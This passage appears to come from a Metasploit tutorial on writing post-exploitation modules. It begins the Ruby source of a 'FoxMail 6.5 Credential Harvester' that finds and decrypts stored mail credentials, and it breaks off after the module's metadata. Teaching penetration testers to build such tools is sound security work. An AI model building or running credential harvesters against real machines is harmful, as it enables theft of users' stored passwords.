Developing post-exploitation modules

The post-exploitation phase begins as soon as we acquire an initial foothold on the target machine. Metasploit contains many post-exploitation modules that can serve as an excellent reference guide while building our own. In the upcoming sections, we will build various types of post-exploitation modules covering a variety of different methods supported by Metasploit.

The Credential Harvester module

In this example module, we will attack Foxmail 6.5. We will try decrypting the credentials and storing them in the database. Let's see the code:

class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry include Msf::Post::File
include Msf::Auxiliary::Report
include Msf::Post::Windows::UserProfiles
def initialize(info={}) 
super(update_info(info,
'Name'	=> 'FoxMail 6.5 Credential Harvester', 
'Description'	=> %q{
This Module Finds and Decrypts Stored Foxmail 6.5 Credentials
},
'License...